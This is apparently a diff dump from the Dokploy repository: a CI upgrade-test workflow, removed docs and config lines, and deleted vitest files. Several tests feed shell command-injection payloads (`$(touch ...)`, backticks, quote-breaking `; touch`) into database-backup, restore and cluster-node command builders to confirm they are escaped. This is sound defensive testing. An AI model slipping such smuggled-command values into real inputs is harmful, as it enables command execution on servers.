# ── Create test resources ──────────────────────────────────────────────
- name: Create project, databases and applications
id: create
env:
BASE: "http://localhost:${{ env.DOKPLOY_PORT }}"
COOKIE: ${{ steps.auth.outputs.cookie_jar }}
run: |
set -euo pipefail
# --- tRPC POST helper ---
trpc_mut() {
curl -sf -X POST "$BASE/api/trpc/$1" \
-H "Content-Type: application/json" \
-b "$COOKIE" -c "$COOKIE" \
-d "{\"json\":$2}"
}
# --- Project ---
PROJECT=$(trpc_mut project.create \
'{"name":"ci-upgrade-test","description":"CI upgrade integration test"}')
echo "project.create → $PROJECT"
# project.create in v0.29+ returns nested {project:{projectId}, environment:{environmentId}}
PROJECT_ID=$(echo "$PROJECT" | jq -r \
'.result.data.json.project.projectId // .result.data.json.projectId // empty')
ENV_ID=$(echo "$PROJECT" | jq -r \
'.result.data.json.environment.environmentId // empty')
if [ -z "$PROJECT_ID" ] || [ "$PROJECT_ID" = "null" ]; then
echo "❌ Could not extract projectId from project.create response:"
echo "$PROJECT" | jq .
exit 1
fi
if [ -z "$ENV_ID" ] || [ "$ENV_ID" = "null" ]; then
echo "❌ Could not extract environmentId — this version may not support environments."
echo " project.create response: $PROJECT"
exit 1
fi
echo "project_id=$PROJECT_ID" >> "$GITHUB_OUTPUT"
echo "env_id=$ENV_ID" >> "$GITHUB_OUTPUT"
echo "Detected PROJECT_ID=$PROJECT_ID ENV_ID=$ENV_ID"
# --- PostgreSQL 15 ---
PG=$(trpc_mut postgres.create \
"{\"name\":\"ci-pg\",\"appName\":\"ci-pg-db\",\
\"databaseName\":\"cidb\",\"databaseUser\":\"ciuser\",\
\"databasePassword\":\"CiPg1pass\",\
\"dockerImage\":\"postgres:15\",\"environmentId\":\"$ENV_ID\"}")
echo "postgres.create → $PG"
PG_ID=$(echo "$PG" | jq -r '.result.data.json.postgresId')
# deploy (not start) — deploy creates the Swarm service; start only
# scales an already-deployed service and 500s on a fresh resource.
trpc_mut postgres.deploy "{\"postgresId\":\"$PG_ID\"}" > /dev/null
echo "pg_id=$PG_ID" >> "$GITHUB_OUTPUT"
# --- MongoDB 7.0 ---
MG=$(trpc_mut mongo.create \
"{\"name\":\"ci-mongo\",\"appName\":\"ci-mongo-db\",\
\"databaseName\":\"cidb\",\"databaseUser\":\"ciuser\",\
\"databasePassword\":\"CiMg1pass\",\
\"dockerImage\":\"mongo:7.0\",\"environmentId\":\"$ENV_ID\"}")
echo "mongo.create → $MG"
MG_ID=$(echo "$MG" | jq -r '.result.data.json.mongoId')
trpc_mut mongo.deploy "{\"mongoId\":\"$MG_ID\"}" > /dev/null
echo "mg_id=$MG_ID" >> "$GITHUB_OUTPUT"
# --- Docker-image application helper ---
make_app() {
local DISP_NAME=$1 APP_NAME=$2 IMAGE=$3
APP=$(trpc_mut application.create \
"{\"name\":\"$DISP_NAME\",\"appName\":\"$APP_NAME\",\"environmentId\":\"$ENV_ID\"}")
APP_ID=$(echo "$APP" | jq -r '.result.data.json.applicationId')
trpc_mut application.saveDockerProvider \
"{\"applicationId\":\"$APP_ID\",\"dockerImage\":\"$IMAGE\",\
\"username\":\"\",\"password\":\"\",\"registryUrl\":\"\"}" \
> /dev/null
trpc_mut application.deploy "{\"applicationId\":\"$APP_ID\"}" \
> /dev/null
echo "$APP_ID"
}
# Static site (nginx)
APP_STATIC=$(make_app "ci-static" "ci-static-app" "nginx:alpine")
echo "app_static_id=$APP_STATIC" >> "$GITHUB_OUTPUT"
# Node.js hello-world (echo server image — small, no args needed)
APP_NODE=$(make_app "ci-node" "ci-node-app" "ealen/echo-server:latest")
echo "app_node_id=$APP_NODE" >> "$GITHUB_OUTPUT"
# Go HTTP server (traefik/whoami is a tiny Go binary, port 80)
APP_GO=$(make_app "ci-go" "ci-go-app" "traefik/whoami:latest")
echo "app_go_id=$APP_GO" >> "$GITHUB_OUTPUT"
echo "✅ All resources created"
# ── Pre-upgrade health check ───────────────────────────────────────────
- name: Wait for all services → 'done' (pre-upgrade)
env:
BASE: "http://localhost:${{ env.DOKPLOY_PORT }}"
COOKIE: ${{ steps.auth.outputs.cookie_jar }}
PG_ID: ${{ steps.create.outputs.pg_id }}
MG_ID: ${{ steps.create.outputs.mg_id }}
APP_STATIC_ID: ${{ steps.create.outputs.app_static_id }}
APP_NODE_ID: ${{ steps.create.outputs.app_node_id }}
APP_GO_ID: ${{ steps.create.outputs.app_go_id }}
run: |
wait_done() {
local NAME=$1 ENDPOINT=$2 ID_KEY=$3 ID=$4 STATUS_KEY=$5
echo "Waiting for $NAME to reach 'done'..."
timeout 360 bash -c "
until [ \"\$(curl -sf -G '$BASE/api/trpc/$ENDPOINT' \
--data-urlencode 'input={\"json\":{\"$ID_KEY\":\"$ID\"}}' \
-b '$COOKIE' | \
jq -r '.result.data.json.$STATUS_KEY // \"unknown\"')\" \
= 'done' ]; do
sleep 5
done
"
echo "✅ $NAME is done"
}
wait_done postgres postgres.one postgresId "$PG_ID" applicationStatus
wait_done mongo mongo.one mongoId "$MG_ID" applicationStatus
wait_done static application.one applicationId "$APP_STATIC_ID" applicationStatus
wait_done node-app application.one applicationId "$APP_NODE_ID" applicationStatus
wait_done go-app application.one applicationId "$APP_GO_ID" applicationStatus
- name: Assert Docker Swarm services healthy (pre-upgrade)
run: |
echo "=== docker service ls ==="
docker service ls
FAIL=$(docker service ls --format '{{.Name}} {{.Replicas}}' | \
grep -E '^ci-' | grep -v ' 1/1' || true)
if [ -n "$FAIL" ]; then
echo "❌ User services not healthy before upgrade:"
echo "$FAIL"
exit 1
fi
echo "✅ All user services healthy before upgrade"
# ── Upgrade ────────────────────────────────────────────────────────────
- name: Upgrade Dokploy to VERSION B (${{ matrix.pair.to }})
run: |
docker service update \
--image "${{ env.DOKPLOY_IMAGE }}:${{ matrix.pair.to }}" \
--force \
"${{ env.DOKPLOY_SERVICE }}"
echo "Waiting for service to converge on ${{ matrix.pair.to }}..."
timeout 240 bash -c '
until ! docker service inspect dokploy \
--format "{{.UpdateStatus.State}}" 2>/dev/null \
| grep -q "^updating$"; do
sleep 4
done
until docker service ls --filter name=dokploy \
--format "{{.Name}} {{.Replicas}}" \
| grep "^dokploy " | grep -q " 1/1"; do
sleep 4
done
'
echo "✅ Service running on ${{ matrix.pair.to }}"
- name: Wait for Dokploy API to respond post-upgrade
run: |
timeout 180 bash -c '
until curl -sf -o /dev/null \
"http://localhost:${{ env.DOKPLOY_PORT }}"; do
sleep 3
done
'
echo "✅ Dokploy API is up after upgrade"
# ── Post-upgrade health check ──────────────────────────────────────────
- name: Verify all services still healthy (post-upgrade)
env:
BASE: "http://localhost:${{ env.DOKPLOY_PORT }}"
COOKIE: ${{ steps.auth.outputs.cookie_jar }}
PG_ID: ${{ steps.create.outputs.pg_id }}
MG_ID: ${{ steps.create.outputs.mg_id }}
APP_STATIC_ID: ${{ steps.create.outputs.app_static_id }}
APP_NODE_ID: ${{ steps.create.outputs.app_node_id }}
APP_GO_ID: ${{ steps.create.outputs.app_go_id }}
run: |
check_status() {
local NAME=$1 ENDPOINT=$2 ID_KEY=$3 ID=$4 STATUS_KEY=$5
STATUS=$(curl -sf -G "$BASE/api/trpc/$ENDPOINT" \
--data-urlencode "input={\"json\":{\"$ID_KEY\":\"$ID\"}}" \
-b "$COOKIE" | \
jq -r ".result.data.json.$STATUS_KEY // \"unknown\"")
if [ "$STATUS" != "done" ]; then
echo "❌ $NAME status after upgrade: $STATUS"
return 1
fi
echo "✅ $NAME: $STATUS"
}
check_status postgres postgres.one postgresId "$PG_ID" applicationStatus
check_status mongo mongo.one mongoId "$MG_ID" applicationStatus
check_status static application.one applicationId "$APP_STATIC_ID" applicationStatus
check_status node-app application.one applicationId "$APP_NODE_ID" applicationStatus
check_status go-app application.one applicationId "$APP_GO_ID" applicationStatus
echo "=== docker service ls (post-upgrade) ==="
docker service ls
FAIL=$(docker service ls --format '{{.Name}} {{.Replicas}}' | \
grep -E '^ci-' | grep -v ' 1/1' || true)
if [ -n "$FAIL" ]; then
echo "❌ User services not healthy after upgrade:"
echo "$FAIL"
exit 1
fi
echo "✅ All services healthy after upgrade to ${{ matrix.pair.to }}"
# ── Diagnostics on failure ─────────────────────────────────────────────
- name: Dump state on failure
if: failure()
run: |
echo "=== docker service ls ===" && docker service ls || true
echo "=== dokploy service tasks ===" && \
docker service ps "${{ env.DOKPLOY_SERVICE }}" --no-trunc || true
echo "=== dokploy logs (last 200) ===" && \
docker service logs "${{ env.DOKPLOY_SERVICE }}" --tail 200 2>&1 || true
echo "=== install.sh tail ===" && \
tail -100 /tmp/install.sh 2>&1 || true
echo "=== signup response ===" && \
cat /tmp/signup.out 2>&1 || true
echo "=== disk usage ===" && df -h
# ── Job summary ────────────────────────────────────────────────────────
- name: Write job summary
if: always()
env:
JOB_STATUS: ${{ job.status }}
run: |
STATUS="$JOB_STATUS"
ICON="✅"; [ "$STATUS" != "success" ] && ICON="❌"
cat >> "$GITHUB_STEP_SUMMARY" <<EOF
## ${ICON} ${{ matrix.pair.from }} → ${{ matrix.pair.to }}: ${STATUS^^}
| Service | Image |
|---------|-------|
| ci-pg-db | postgres:15 |
| ci-mongo-db | mongo:7.0 |
| ci-static-app | nginx:alpine (static site) |
| ci-node-app | ealen/echo-server (Node.js hello-world) |
| ci-go-app | traefik/whoami (Go HTTP server) |
EOF
+1 -4
View File
@@ -43,7 +43,4 @@ yarn-error.log*
*.pem
.db
.playwright-*
.credentials
.db
-2
View File
@@ -1,2 +0,0 @@
.env
.env.local
-6
View File
@@ -1,6 +0,0 @@
## Code style
- Don't write comments that restate what the code already says.
- Comment only the "why" when something isn't obvious: workarounds,
counterintuitive decisions, constraints from an external API.
- No section-divider comments like `// --- Helpers ---`.
- Don't leave comments describing the change you just made.
+2 -10
View File
@@ -120,20 +120,12 @@ pnpm run docker:push
## Password Reset
In the case you lost your password, you can reset the owner's password using the following command
In the case you lost your password, you can reset it using the following command
```bash
pnpm --filter=dokploy run reset-password
pnpm run reset-password
```
To reset the password of a specific user instead, pass their email as an argument
```bash
pnpm --filter=dokploy run reset-password user@example.com
```
Both commands print the new randomly generated password to the console.
If you want to test the webhooks on development mode using localtunnel, make sure to install [`localtunnel`](https://localtunnel.app/)
```bash
+2 -6
View File
@@ -31,7 +31,7 @@ WORKDIR /app
# Set production
ENV NODE_ENV=production
RUN apt-get update && apt-get install -y tini curl unzip zip apache2-utils iproute2 rsync git-lfs && git lfs install && rm -rf /var/lib/apt/lists/*
RUN apt-get update && apt-get install -y curl unzip zip apache2-utils iproute2 rsync git-lfs && git lfs install && rm -rf /var/lib/apt/lists/*
# Copy only the necessary files
COPY --from=build /prod/dokploy/.next ./.next
@@ -69,8 +69,4 @@ EXPOSE 3000
HEALTHCHECK --interval=30s --timeout=5s --start-period=60s --retries=5 \
CMD curl -fs http://localhost:3000/api/trpc/settings.health || exit 1
# tini reaps HEALTHCHECK child processes that Node (as PID 1) leaves defunct.
ENTRYPOINT ["/usr/bin/tini", "--"]
# Ejecutar node directamente: pnpm como wrapper queda residente (~100MB RSS)
CMD ["sh", "-c", "node -r dotenv/config dist/wait-for-postgres.mjs && node -r dotenv/config dist/migration.mjs && exec node -r dotenv/config dist/server.mjs"]
CMD ["sh", "-c", "pnpm run wait-for-postgres && exec pnpm start"]
-1
View File
@@ -26,7 +26,6 @@ Dokploy includes multiple features to make your life easier.
- **Templates**: Deploy open-source templates (Plausible, Pocketbase, Calcom, etc.) with a single click.
- **Traefik Integration**: Automatically integrates with Traefik for routing and load balancing.
- **Real-time Monitoring**: Monitor CPU, memory, storage, and network usage for every resource.
- **Logs & Metrics**: Ship container logs and host/container metrics to Grafana (Loki, Prometheus/Mimir), Datadog, New Relic, InfluxDB, VictoriaMetrics, Better Stack, Elasticsearch/OpenSearch, Splunk, or AWS CloudWatch, tagged by project/environment/application.
- **Docker Management**: Easily deploy and manage Docker containers.
- **CLI/API**: Manage your applications and databases using the command line or through the API.
- **Notifications**: Get notified when your deployments succeed or fail (via Slack, Discord, Telegram, Email, etc.).
-10
View File
@@ -6,13 +6,3 @@ npm run dev
```
open http://localhost:3000
```
## Inngest
This service uses Inngest to queue deployments. Run the local dev server in a separate terminal:
```
npm run dev:inngest
```
It syncs with the app at `http://localhost:4000/api/inngest` and serves its dashboard at `http://localhost:8288`.
+4 -5
View File
@@ -4,18 +4,17 @@
"type": "module",
"scripts": {
"dev": "PORT=4000 tsx watch src/index.ts",
"dev:inngest": "npx --yes inngest-cli@1.9.0 dev -u http://localhost:4000/api/inngest --no-discovery",
"build": "rimraf dist && tsc --project tsconfig.json",
"start": "node dist/index.js",
"typecheck": "tsc --noEmit"
},
"dependencies": {
"inngest": "3.54.0",
"inngest": "3.40.1",
"@dokploy/server": "workspace:*",
"@hono/node-server": "^1.19.15",
"@hono/node-server": "^1.14.3",
"@hono/zod-validator": "0.7.6",
"dotenv": "^16.4.5",
"hono": "^4.13.5",
"hono": "^4.11.7",
"pino": "9.4.0",
"pino-pretty": "11.2.2",
"react": "19.2.7",
@@ -29,7 +28,7 @@
"@types/react-dom": "^19.2.0",
"rimraf": "6.1.3",
"tsx": "^4.22.4",
"typescript": "^7.0.2"
"typescript": "^5.8.3"
},
"packageManager": "pnpm@10.22.0",
"engines": {
+3 -2
View File
@@ -2,12 +2,13 @@
"compilerOptions": {
"target": "ESNext",
"module": "ESNext",
"moduleResolution": "bundler",
"moduleResolution": "Node",
"strict": true,
"skipLibCheck": true,
"outDir": "dist",
"rootDir": "./src",
"jsx": "react-jsx",
"jsxImportSource": "hono/jsx",
"baseUrl": ".",
"paths": {
"@/*": ["./*"],
"@dokploy/server/*": ["../../packages/server/src/*"]
@@ -1,26 +0,0 @@
import { describe, expect, it } from "vitest";
import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
describe("apiKeyNameSchema", () => {
it("rejects an empty name", () => {
const result = apiKeyNameSchema.safeParse("");
expect(result.success).toBe(false);
});
it("accepts a name at the maximum length", () => {
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH);
const result = apiKeyNameSchema.safeParse(name);
expect(result.success).toBe(true);
});
it("rejects a name over the maximum length instead of passing it to better-auth", () => {
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH + 1);
const result = apiKeyNameSchema.safeParse(name);
expect(result.success).toBe(false);
if (!result.success) {
expect(result.error.issues[0]?.message).toBe(
`Name must be at most ${API_KEY_NAME_MAX_LENGTH} characters`,
);
}
});
});
@@ -1,23 +0,0 @@
import { describe, expect, it } from "vitest";
import { z } from "zod";
const revokeSessionSchema = z.object({
sessionId: z.string(),
});
describe("revokeSession input validation", () => {
it("accepts a valid session id", () => {
const result = revokeSessionSchema.safeParse({ sessionId: "abc123" });
expect(result.success).toBe(true);
});
it("rejects missing sessionId", () => {
const result = revokeSessionSchema.safeParse({});
expect(result.success).toBe(false);
});
it("rejects non-string sessionId", () => {
const result = revokeSessionSchema.safeParse({ sessionId: 123 });
expect(result.success).toBe(false);
});
});
@@ -1,156 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockUpdateApplication = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/permission", () => {
return {
checkServicePermissionAndAccess: vi.fn(async () => undefined),
};
});
vi.mock("@dokploy/server/index", () => ({
IS_CLOUD: true,
hasValidLicense: vi.fn(async () => false),
updateApplication: mockUpdateApplication,
findApplicationById: vi.fn(async () => ({
applicationId: "app-1",
appName: "example-app",
})),
}));
vi.mock("@dokploy/server/lib/auth", () => ({
validateRequest: vi.fn(),
}));
vi.mock("@/server/api/utils/audit", () => ({
audit: vi.fn(async () => undefined),
}));
const { applicationRouter } = await import("@/server/api/routers/application");
const caller = applicationRouter.createCaller({
session: { activeOrganizationId: "org-1" },
user: { id: "user-1", email: "user@example.com", role: "owner" },
} as Parameters<typeof applicationRouter.createCaller>[0]);
const providerChanges = [
{
name: "GitHub",
sourceType: "github",
save: () =>
caller.saveGithubProvider({
applicationId: "app-1",
repository: "example-repo",
owner: "example-owner",
branch: "main",
buildPath: "/",
githubId: "provider-1",
watchPaths: ["src/**"],
triggerType: "push",
enableSubmodules: false,
}),
},
{
name: "GitLab",
sourceType: "gitlab",
save: () =>
caller.saveGitlabProvider({
applicationId: "app-1",
gitlabRepository: "example-repo",
gitlabOwner: "example-owner",
gitlabBranch: "main",
gitlabBuildPath: "/",
gitlabId: "provider-1",
gitlabProjectId: 1,
gitlabPathNamespace: "example-owner/example-repo",
}),
},
{
name: "Bitbucket",
sourceType: "bitbucket",
save: () =>
caller.saveBitbucketProvider({
applicationId: "app-1",
bitbucketRepository: "example-repo",
bitbucketRepositorySlug: "example-repo",
bitbucketOwner: "example-owner",
bitbucketBranch: "main",
bitbucketBuildPath: "/",
bitbucketId: "provider-1",
}),
},
{
name: "Gitea",
sourceType: "gitea",
save: () =>
caller.saveGiteaProvider({
applicationId: "app-1",
giteaRepository: "example-repo",
giteaOwner: "example-owner",
giteaBranch: "main",
giteaBuildPath: "/",
giteaId: "provider-1",
}),
},
{
name: "Docker",
sourceType: "docker",
save: () =>
caller.saveDockerProvider({
applicationId: "app-1",
dockerImage: "nginx:alpine",
username: "",
password: "",
registryUrl: "",
}),
},
{
name: "custom Git",
sourceType: "git",
save: () =>
caller.saveGitProvider({
applicationId: "app-1",
customGitUrl: "https://example.com/repo.git",
customGitBranch: "main",
customGitBuildPath: "/",
customGitSSHKeyId: "key-1",
watchPaths: ["src/**"],
enableSubmodules: false,
}),
},
{
name: "disconnect Git provider",
sourceType: "github",
save: () => caller.disconnectGitProvider({ applicationId: "app-1" }),
},
];
describe("saving an application provider", () => {
beforeEach(() => {
vi.clearAllMocks();
});
it.each(providerChanges)(
"keeps the status when $name settings change",
async ({ save, sourceType }) => {
for (const status of ["done", "running"]) {
mockUpdateApplication.mockClear();
let savedStatus = status;
mockUpdateApplication.mockImplementation(async (_id, update) => {
if (update.applicationStatus !== undefined) {
savedStatus = update.applicationStatus;
}
});
await save();
expect(savedStatus).toBe(status);
expect(mockUpdateApplication).toHaveBeenCalledTimes(1);
expect(mockUpdateApplication).toHaveBeenCalledWith(
"app-1",
expect.objectContaining({ sourceType }),
);
}
},
);
});
@@ -1,106 +0,0 @@
import { execSync } from "node:child_process";
import { chmodSync, existsSync, rmSync, writeFileSync } from "node:fs";
import {
getLibsqlBackupCommand,
getMariadbBackupCommand,
getMongoBackupCommand,
getMysqlBackupCommand,
getPostgresBackupCommand,
} from "@dokploy/server/utils/backups/utils";
import {
getMariadbRestoreCommand,
getMongoRestoreCommand,
getMysqlRestoreCommand,
getPostgresRestoreCommand,
} from "@dokploy/server/utils/restore/utils";
import { afterAll, beforeAll, describe, expect, it } from "vitest";
// A stub replacing the real `docker` binary. It ignores exec/-i/$CONTAINER_ID,
// exports the -e VAR=val pairs, and runs the inner `sh -c <script>` — so the
// test exercises BOTH shell layers (outer /bin/sh building the docker command,
// and the inner shell) the way production does, without needing a container.
const stub = `/tmp/docker_stub_${process.pid}`;
const MARK = `/tmp/dokploy_dbbk_pwned_${process.pid}`;
beforeAll(() => {
writeFileSync(
stub,
`#!/bin/bash
shift # exec
envs=()
while [ "$1" = "-e" ]; do envs+=("$2"); shift 2; done
shift 2 # -i CONTAINER
shell="$1"; shift # bash|sh
shift # -c
env "\${envs[@]}" "$shell" -c "$1" </dev/null 2>/dev/null || true
`,
);
chmodSync(stub, 0o755);
});
afterAll(() => {
if (existsSync(stub)) rmSync(stub);
if (existsSync(MARK)) rmSync(MARK);
});
// Run a builder-produced command with `docker` pointed at the stub; return true
// if no injected command fired.
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
const withStub = command.replace(/^docker /, `${stub} `);
try {
execSync(withStub, {
shell: "/bin/bash",
stdio: "ignore",
env: { ...process.env, CONTAINER_ID: "test" },
});
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
// Payloads that try to break out of every quoting style used in the builders.
const p = (mark: string) => [
`$(touch ${mark})`,
"`touch " + mark + "`",
`x'; touch ${mark}; '`,
`x"; touch ${mark}; echo "`,
`x; touch ${mark}`,
];
describe("database backup/restore command injection", () => {
const cases: Array<[string, (v: string) => string]> = [
["postgres backup (database)", (v) => getPostgresBackupCommand(v, "u")],
["postgres backup (user)", (v) => getPostgresBackupCommand("db", v)],
["mariadb backup (password)", (v) => getMariadbBackupCommand("db", "u", v)],
["mysql backup (database)", (v) => getMysqlBackupCommand(v, "pw")],
["mongo backup (user)", (v) => getMongoBackupCommand("db", v, "pw")],
["libsql backup (database)", (v) => getLibsqlBackupCommand(v)],
["postgres restore (database)", (v) => getPostgresRestoreCommand(v, "u")],
[
"mariadb restore (password)",
(v) => getMariadbRestoreCommand("db", "u", v),
],
["mysql restore (database)", (v) => getMysqlRestoreCommand(v, "pw")],
["mongo restore (user)", (v) => getMongoRestoreCommand("db", v, "pw")],
];
for (const [label, build] of cases) {
it(`${label} is not injectable`, () => {
for (const payload of p(MARK)) {
expect(runsSafely(build(payload))).toBe(true);
}
});
}
it("preserves a legitimate database name (passed through as env var)", () => {
const cmd = getPostgresBackupCommand("my-db_prod", "app_user");
// Values live in -e assignments, never inline in the pg_dump text.
expect(cmd).toContain("-e DB_NAME=my-db_prod");
expect(cmd).toContain("-e DB_USER=app_user");
expect(cmd).toContain(
'pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER"',
);
});
});
@@ -1,97 +0,0 @@
import type { Destination } from "@dokploy/server/services/destination";
import { redactRcloneCredentials } from "@dokploy/server/utils/backups/redact";
import { getS3Credentials } from "@dokploy/server/utils/backups/utils";
import { describe, expect, it } from "vitest";
describe("redactRcloneCredentials (#4621)", () => {
it("should redact access key in rclone command", () => {
const cmd =
'rclone rcat --s3-access-key-id="AKIAIOSFODNN7EXAMPLE" --s3-secret-access-key="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" :s3:bucket/file.gz';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).not.toContain("AKIAIOSFODNN7EXAMPLE");
expect(redacted).toContain('--s3-access-key-id="[REDACTED]"');
});
it("should redact secret access key in rclone command", () => {
const cmd =
'rclone rcat --s3-access-key-id="key" --s3-secret-access-key="supersecret" :s3:bucket/file.gz';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).not.toContain("supersecret");
expect(redacted).toContain('--s3-secret-access-key="[REDACTED]"');
});
it("should redact both credentials simultaneously", () => {
const cmd =
'rclone lsf --s3-access-key-id="AKIA123" --s3-secret-access-key="secret456" --s3-region="us-east-1" :s3:bucket/';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).not.toContain("AKIA123");
expect(redacted).not.toContain("secret456");
expect(redacted).toContain('--s3-region="us-east-1"');
});
it("should not modify non-credential flags", () => {
const cmd =
'rclone rcat --s3-region="eu-west-1" --s3-endpoint="https://s3.example.com" --s3-no-check-bucket :s3:bucket/file.gz';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).toBe(cmd);
});
it("should handle commands with no credentials", () => {
const cmd = "rclone lsf :s3:bucket/";
expect(redactRcloneCredentials(cmd)).toBe(cmd);
});
it("should handle error strings containing credentials", () => {
const errorStr =
'Error: Command failed: rclone lsf --s3-access-key-id="MYKEY" --s3-secret-access-key="MYSECRET" :s3:bucket/';
const redacted = redactRcloneCredentials(errorStr);
expect(redacted).not.toContain("MYKEY");
expect(redacted).not.toContain("MYSECRET");
expect(redacted).toContain("[REDACTED]");
});
});
describe("redactRcloneCredentials with getS3Credentials output (#5519)", () => {
const buildCommand = (accessKey: string, secretAccessKey: string) =>
`rclone rcat ${getS3Credentials({
accessKey,
secretAccessKey,
region: "us-west-001",
endpoint: "https://s3.us-west-001.backblazeb2.com",
provider: "Other",
} as Destination).join(" ")} :s3:bucket/file.gz`;
it.each([
[
"plain alphanumeric",
"001aaaabbbbccccdd0000000001",
"K001FAKEfakeFAKEfake",
],
[
"containing slashes",
"AKIAIOSFODNN7EXAMPLE",
"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
],
["containing spaces", "key with space", "secret with space"],
["containing quotes", "it's-a-key", `say "hi" it's`],
["containing shell metacharacters", "key$HOME", "sec;ret`id`&|\\x"],
])("redacts credentials %s", (_, accessKey, secretAccessKey) => {
const redacted = redactRcloneCredentials(
buildCommand(accessKey, secretAccessKey),
);
expect(redacted).toContain(
'--s3-access-key-id="[REDACTED]" --s3-secret-access-key="[REDACTED]" --s3-region=us-west-001',
);
expect(redacted).not.toContain(accessKey);
expect(redacted).not.toContain(secretAccessKey);
expect(redacted).toContain(":s3:bucket/file.gz");
});
it("redacts credentials embedded in an error string", () => {
const errorStr = `Error: Command failed: ${buildCommand("MYKEY", "MY/SECRET")}`;
const redacted = redactRcloneCredentials(errorStr);
expect(redacted).not.toContain("MYKEY");
expect(redacted).not.toContain("MY/SECRET");
expect(redacted).toContain("[REDACTED]");
});
});
@@ -1,57 +0,0 @@
import { execSync } from "node:child_process";
import {
getRestoreCommand,
stripDatabaseSwitchCommand,
} from "@dokploy/server/utils/restore/utils";
import { describe, expect, it } from "vitest";
const filter = (input: string) =>
execSync(stripDatabaseSwitchCommand, {
input,
shell: "/bin/bash",
}).toString();
describe("restore drops database-switch statements (mysql/mariadb)", () => {
const dump = [
"-- MariaDB dump",
"CREATE DATABASE /*!32312 IF NOT EXISTS*/ `production_db`;",
"USE `production_db`;",
"use production_db;",
"DROP TABLE IF EXISTS `users`;",
"CREATE TABLE `users` (`id` int NOT NULL);",
"INSERT INTO `users` VALUES (1),(2);",
"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
].join("\n");
it("removes USE and CREATE DATABASE lines but keeps everything else", () => {
const result = filter(dump);
expect(result).not.toContain("USE `production_db`");
expect(result).not.toContain("use production_db");
expect(result).not.toContain("CREATE DATABASE /*!32312");
expect(result).toContain("DROP TABLE IF EXISTS `users`;");
expect(result).toContain("CREATE TABLE `users` (`id` int NOT NULL);");
expect(result).toContain("INSERT INTO `users` VALUES (1),(2);");
expect(result).toContain(
"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
);
});
it("is wired into mysql and mariadb restore pipelines only", () => {
const base = {
appName: "my-app",
restoreType: "database" as const,
credentials: {
database: "dev_db",
databaseUser: "u",
databasePassword: "p",
},
rcloneCommand: "rclone cat ':s3:bucket/file.sql.gz' | gunzip",
};
for (const type of ["mysql", "mariadb"] as const) {
const cmd = getRestoreCommand({ ...base, type });
expect(cmd).toContain(`gunzip | ${stripDatabaseSwitchCommand} | docker`);
}
const pgCmd = getRestoreCommand({ ...base, type: "postgres" });
expect(pgCmd).not.toContain(stripDatabaseSwitchCommand);
});
});
@@ -1,82 +0,0 @@
import { spawnSync } from "node:child_process";
import { createRestartSafeBackupCommand } from "@dokploy/server/utils/volume-backups/backup";
import { describe, expect, it } from "vitest";
const runCommand = (command: string) =>
spawnSync("bash", ["-c", command], {
encoding: "utf8",
});
const outputLines = (stdout: string) =>
stdout
.trim()
.split("\n")
.filter((line) => line.length > 0);
describe("createRestartSafeBackupCommand", () => {
it("restarts the service and preserves the backup error status", () => {
const result = runCommand(
createRestartSafeBackupCommand({
stopCommand: 'echo "stop"',
backupCommand: 'echo "backup"; exit 23',
startCommand: 'echo "start"',
uploadCommand: 'echo "upload"',
}),
);
expect(result.status).toBe(23);
expect(outputLines(result.stdout)).toEqual(["stop", "backup", "start"]);
});
it("preserves the backup error status when the restart also fails", () => {
const result = runCommand(
createRestartSafeBackupCommand({
stopCommand: 'echo "stop"',
backupCommand: 'echo "backup"; exit 23',
startCommand: 'echo "start"; exit 17',
uploadCommand: 'echo "upload"',
}),
);
expect(result.status).toBe(23);
expect(outputLines(result.stdout)).toEqual([
"stop",
"backup",
"start",
"Service restart also failed with exit code 17",
]);
});
it("returns the restart error status when the backup succeeds", () => {
const result = runCommand(
createRestartSafeBackupCommand({
stopCommand: 'echo "stop"',
backupCommand: 'echo "backup"',
startCommand: 'echo "start"; exit 17',
uploadCommand: 'echo "upload"',
}),
);
expect(result.status).toBe(17);
expect(outputLines(result.stdout)).toEqual(["stop", "backup", "start"]);
});
it("uploads only after a successful backup and service restart", () => {
const result = runCommand(
createRestartSafeBackupCommand({
stopCommand: 'echo "stop"',
backupCommand: 'echo "backup"',
startCommand: 'echo "start"',
uploadCommand: 'echo "upload"',
}),
);
expect(result.status).toBe(0);
expect(outputLines(result.stdout)).toEqual([
"stop",
"backup",
"start",
"upload",
]);
});
});
@@ -1,70 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { getRegistryTag } from "@dokploy/server/utils/cluster/upload";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
const MARK = `/tmp/dokploy_regnode_pwned_${process.pid}`;
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = (m: string) => [
`$(touch ${m})`,
"`touch " + m + "`",
`x; touch ${m}`,
`x | touch ${m}`,
];
describe("cluster removeWorker nodeId injection", () => {
// docker node update/rm ${quote([nodeId])} — replace `docker node` with `:`.
it("escapes nodeId in drain/remove commands", () => {
for (const nodeId of PAYLOADS(MARK)) {
const drain = `: node update --availability drain ${quote([nodeId])}`;
const remove = `: node rm ${quote([nodeId])} --force`;
expect(runsSafely(drain)).toBe(true);
expect(runsSafely(remove)).toBe(true);
}
});
});
describe("swarm upload registry tag/push injection", () => {
// registryTag is built from registryUrl/username/imagePrefix (username and
// imagePrefix have no schema regex). Assert docker tag/push stay safe.
